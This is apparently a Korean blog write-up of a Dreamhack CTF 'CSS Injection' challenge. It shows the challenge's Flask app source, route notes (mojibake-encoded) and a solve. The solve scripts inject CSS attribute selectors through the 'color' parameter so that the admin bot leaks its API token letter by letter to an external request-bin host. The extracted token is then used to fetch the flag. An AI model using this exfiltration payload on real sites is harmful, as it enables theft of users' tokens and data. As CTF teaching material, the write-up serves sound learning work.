[2025-08-16] CSS Injection
๐ฆฅ ๋ณธ๋ฌธ
- main.py
from promise import Promise
from time import sleep
app = Flask(__name__)
app.secret_key = os.urandom(32)
DATABASE = os.environ.get("DATABASE", "database.db")
try:
FLAG = open("./flag.txt", "r").read().strip()
except:
FLAG = "[**FLAG**]"
ADMIN_USERNAME = "administrator"
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))
def execute(query, data=()):
con = sqlite3.connect(DATABASE)
cur = con.cursor()
cur.execute(query, data)
con.commit()
data = cur.fetchall()
con.close()
return data
def token_generate():
while True:
token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
token_exists = execute(
"SELECT * FROM users WHERE token = :token;", {"token": token}
)
if not token_exists:
return token
def login_required(view):
@wraps(view)
def wrapped_view(**kwargs):
if session and session["uid"]:
return view(**kwargs)
flash("login first !")
return redirect(url_for("login"))
return wrapped_view
def apikey_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.headers.get("API-KEY", None)
token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
if token:
request.uid = token[0][0]
return view(**kwargs)
return {"code": 401, "message": "Access Denined !"}
return wrapped_view
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, "_database", None)
if db is not None:
db.close()
@app.context_processor
def background_color():
color = request.args.get("color", "white")
return dict(color=color)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
return render_template("login.html")
else:
username = request.form.get("username")
password = request.form.get("password")
user = execute(
"SELECT * FROM users WHERE username = :username and password = :password;",
{
"username": username,
"password": hashlib.sha256(password.encode()).hexdigest(),
},
)
if user:
session["uid"] = user[0][0]
session["username"] = user[0][1]
return redirect(url_for("index"))
flash("Wrong username or password !")
return redirect(url_for("login"))
@app.route("/logout")
@login_required
def logout():
session.clear()
flash("Logout !")
return redirect(url_for("index"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "GET":
return render_template("register.html")
else:
username = request.form.get("username")
password = request.form.get("password")
user = execute(
"SELECT * FROM users WHERE username = :username;", {"username": username}
)
if user:
flash("Username already exists !")
return redirect(url_for("register"))
token = token_generate()
sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
execute(
sql,
{
"username": username,
"password": hashlib.sha256(password.encode()).hexdigest(),
"token": token,
},
)
flash("Register Success.")
return redirect(url_for("login"))
@app.route("/mypage")
@login_required
def mypage():
user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
return render_template("mypage.html", user=user[0])
@app.route("/memo", methods=["GET", "POST"])
@login_required
def memopage():
if request.method == "GET":
memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": session["uid"]})
return render_template("memo.html", memos=memos)
else:
memo = request.form.get("memo")
sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
execute(sql, {"uid": session["uid"], "text": memo})
return redirect(url_for("memopage"))
# report
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
path = request.form.get("path")
if not path:
flash("fail.")
return redirect(url_for("report"))
if path and path[0] == "/":
path = path[1:]
url = f"http://127.0.0.1:8000/{path}"
if check_url(url):
flash("success.")
else:
flash("fail.")
return redirect(url_for("report"))
elif request.method == "GET":
return render_template("report.html")
def check_url(url):
try:
service = Service(executable_path="/chromedriver-linux64/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
driver_promise.then(
driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
)
driver_promise.then(
driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
)
driver_promise = Promise(driver.find_element(By.ID, "submit").click())
sleep(0.1)
driver_promise.then(driver.get(url))
except Exception as e:
driver.quit()
return False
finally:
driver.quit()
return True
# API
@app.route("/api/me")
@apikey_required
def APIme():
user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
if user:
return {"code": 200, "uid": user[0][0], "username": user[0][1]}
return {"code": 500, "message": "Error !"}
@app.route("/api/memo")
@apikey_required
def APImemo():
memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
if memos:
memo = []
for tmp in memos:
memo.append({"idx": tmp[0], "memo": tmp[2]})
return {"code": 200, "memo": memo}
return {"code": 500, "message": "Error !"}
# For Challenge
def init():
execute("DROP TABLE IF EXISTS users;")
execute(
"""
CREATE TABLE users (
uid INTEGER PRIMARY KEY,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
token TEXT NOT NULL UNIQUE
);
"""
)
execute("DROP TABLE IF EXISTS memo;")
execute(
"""
CREATE TABLE memo (
idx INTEGER PRIMARY KEY,
uid INTEGER NOT NULL,
text TEXT NOT NULL
);
"""
)
# Add admin
execute(
"INSERT INTO users (username, password, token)"
"VALUES (:username, :password, :token);",
{
"username": ADMIN_USERNAME,
"password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
"token": token_generate(),
},
)
adminUid = execute(
"SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
)
# Add FLAG
execute(
"INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
{"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
)
with app.app_context():
init()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
excute()
: ์ฟผ๋ฆฌ๋ฌธ๊ณผ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ DB์์ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์์ค๋ ๋ฉ์๋token_generate()
: 8์๋ฆฌ ์๋ฌธ์ ์ํ๋ฒณ์ผ๋ก ๊ตฌ์ฑ๋ ๋๋ค ๋ฌธ์์ด์ ๋ง๋ค๊ณ ์ฌ์ฉ๋ ์ ์ด ์์ผ๋ฉด ํ ํฐ์ ๋ฆฌํดlogin_required()
: ์ธ์ ๊ณผ ์ธ์ ์ ์์ด๋๊ฐ ์์ผ๋ฉด ํต๊ณผ. ์๋๋ฉด ๋ก๊ทธ์ธ ํ๋ฉด์ผ๋ก ์ด๋apikey_required()
: ์์ฒญ ํค๋์ apikey๋ฅผ ํตํด DB์์ ์ฌ์ฉ์๋ฅผ ์ฐพ๊ณ ์์ฒญ์ uid์ ๊ฐ์ผ๋ฉด ํต๊ณผ@app.teardown_appcontext
: ์ดํ๋ฆฌ์ผ์ด์ ์ปจํ ์คํธ ์ข ๋ฃ ์ ์คํ๋๋ ํจ์๋ฅผ ๋ฑ๋กํ๋ ๋ฐ ์ฌ์ฉํ๋ ๋ฐ์ฝ๋ ์ดํฐclose_connection()
: DB ์ฐ๊ฒฐ ๋๋ ํจ์.
@app.context_processor
: ํ ํ๋ฆฟ ๋ ๋๋ง์ ์๋์ผ๋ก ์ ๋ฌํ ๊ฐ์ ์ง์ ํ๋ ํจ์ ๋ฑ๋กํ๋ ๋ฐ ์ฌ์ฉํ๋ ๋ฐ์ฝ๋ ์ดํฐbackground_color()
: ์์ฒญ์์color
๊ฐ์ ๊ฐ์ ธ์ค๊ณ ์์ผ๋ฉด ๊ธฐ๋ณธ๊ฐ์ธ white ์ฌ์ฉ. color = ์์ ๋์ ๋๋ฆฌ๋ก ๋ง๋ค์ด์ ๋ฆฌํด
/
: index.html ๋ ๋๋ง/login
: username๊ณผ password๋ฅผ ๋ฐ๊ณ ์กฐํ. ์ธ์ ์ ์์ด๋์ username ๋ฑ๋ก ํ ๋ก๊ทธ์ธ/logout
: ์ธ์ ์ญ์ /register
: username๊ณผ password๋ฅผ ๋ฐ๊ณ ์ด๋ฏธ ์์ผ๋ฉด ๋ฑ๋ก ๋ถ๊ฐ. ์๋ ๊ฒฝ์ฐ ํ ํฐ์ ๋ง๋ค๊ณ ํด๋น ๊ฐ์ DB์ ์ ์ฅ/mypage
: ์ธ์ ์ uid๋ฅผ ํตํด ์ฌ์ฉ์๋ฅผ ์ฐพ๊ณ ํด๋น ๊ฐ์ ๋ง๊ฒ mypage ๋ ๋๋ง- mypage.html : ์ฌ์ฉ์์ uid, username, token ๊ฐ์
input readonly
์ ๋ฃ์. ๋ฒํผ์ ํด๋ฆญํ๋ฉด ํ ํฐ ๊ฐ์ ๋ณต์ฌ
- mypage.html : ์ฌ์ฉ์์ uid, username, token ๊ฐ์
/memo
: GET ๋ฐฉ์์ ์ธ์ ์ ํตํด ํด๋น ๋ฉ๋ชจ ํ์ด์ง๋ฅผ ๋ ๋๋ง. POST ๋ฐฉ์์ ์ธ์ ID์ ์ ๋ ฅํ ํ ์คํธ๋ฅผ ๋ฉ๋ชจ๋ก DB์ ์ ์ฅ/report
: POST ๋ฐฉ์์ผ๋ก path๋ฅผ ํ๋ผ๋ฏธํฐ๋ก ๋ฐ์. ํด๋น path๋กcheck_url()
์คํcheck_url()
: ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ์น ๋๋ผ์ด๋ฒ๋ฅผ ํตํด ๋ก๊ทธ์ธ/api/me
:apikey_required()
๋ฅผ ์คํ ํ ์ธ์ ์ uid์ username์ ์๋ ค์ค/api/memo
:apikey_required()
๋ฅผ ์คํ ํ ์ธ์ ์ uid๋ก ๋ฉ๋ชจ๋ฅผ ๊ฐ์ ธ์ด. ๋ฆฌ์คํธ๋ก ๋ง๋ค์ด์ ์ถ๋ ฅ- Flag ๊ฐ์ ๊ด๋ฆฌ์์ ๋ฉ๋ชจ์ฅ์ ์์
mypage ๋ถ๋ถ์์ ํ ํฐ ๊ฐ์ด ๋ ธ์ถ๋๋ค๋ ์
check_url์์ ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ๋ค๋ ์
color ๊ฐ์ ํตํด CSS Injection์ ํ ์ ์๋ค๋ ์
๊ด๋ฆฌ์์ uid๊ฐ ํ์. ๊ด๋ฆฌ์์ uid๋ฅผ ํตํด ๋ชจ๋ ๋ฉ๋ชจ์ฅ์ ๋ด์ผ ํจ
- ๊ด๋ฆฌ์์ ์์ด๋์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ด์ ๋ฉ๋ชจํ์ด์ง์ ๋ค์ด๊ฐ๋ค
- ์น๋๋ผ์ด๋ฒ์์ /api/memo๋ฅผ ์ฌ์ฉํ์ฌ ๋ฆฌ์คํธ๋ฅผ ์ด๋์ ๊ธฐ๋กํ๋ค?
- ๊ด๋ฆฌ์์ ํ ํฐ์ ์์๋ด์ /api/memo๋ฅผ ์คํํ๋ค โ ๊ด์ฐฎ์ ๋ฏ
์น๋๋ผ์ด๋ฒ๋ฅผ ํตํด mypage ํ์ด์ง ๋ถ๋ถ์์ color ๊ฐ์ ํตํด ํ ํฐ์ด ๋ง์ ๋ ๋ง๋ค ์คํ์ผ์ ๋ฐ๊พธ๊ฑฐ๋ ๊ณต๊ฒฉ์ฉ ์๋ฒ์ ์๋ตํ๊ฒ ํด์ผ ํจ.
๊ทธ ํ ํ ํฐ์ ์์๋ด๊ณ ํค๋์ API-KEY์ ์ง์ด ๋ฃ๊ณ /api/memo๋ฅผ ์คํ
์๋ตํ๊ฒ ํจ. โ ํ ํฐ์ ์์๋ผ ์ ์์
๊ฐ์ธ์ฉ ์๋ฒ๊ฐ ์์ด์ github ๋ธ๋ก๊ทธ๋ฅผ ์ฐ๋ ค๊ณ ํ๋ ๋ฐ ์ ์ ์ธ ํ์ด์ง๋ง ๊ฐ๋ฅํด์ ๋์ ์ผ๋ก 5์ด ๋ค์ ์๋ตํ๋ ๊ฑด ๋ถ๊ฐ๋ฅ ํ๋ค๊ณ ํ๋ค.
์ด๊ฒ ์ฌ ๊ฑธ ๋๋ฆผํต ํด์ฆ์์ ์๋ต์ ๋ฐ๊ณ ๋ก๊ทธ๋ฅผ ์ฐ๋ ๋๊ตฌ๊ฐ ์์๋ค.
ํ์ด ๊ณผ์
- ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ํ ํฐ์ด ๋์ฌ ๋๊น์ง ๋ฐ๋ณต
import requests, string
URL = "http://host1.dreamhack.games:20690/report"
curr= "gsupsof"
for token in string.ascii_lowercase:
data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://itdkonu.request.dreamhack.games/"+curr+token+");"}
response = requests.post(URL, data=data)
print(f"'{token}': Status {response.status_code}")
- ํ ํฐ 8์๋ฆฌ๋ฅผ ์์๋ด๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ์์ฑํ์ฌ API-KEY์ ์ค์ด ๋ณด๋ด์ด FLAG๋ฅผ ๋ฐ์
import requests
API_URL = "http://host1.dreamhack.games:20690/api/memo"
TOKEN = "gsupsofu" # ์ฌ๊ธฐ๋ค๊ฐ CSS Injection์ผ๋ก ์ถ์ถํ ํ ํฐ ๋ฃ๊ธฐ
res = requests.get(API_URL, headers={"API-KEY": TOKEN})
print(res.json())
Leave a comment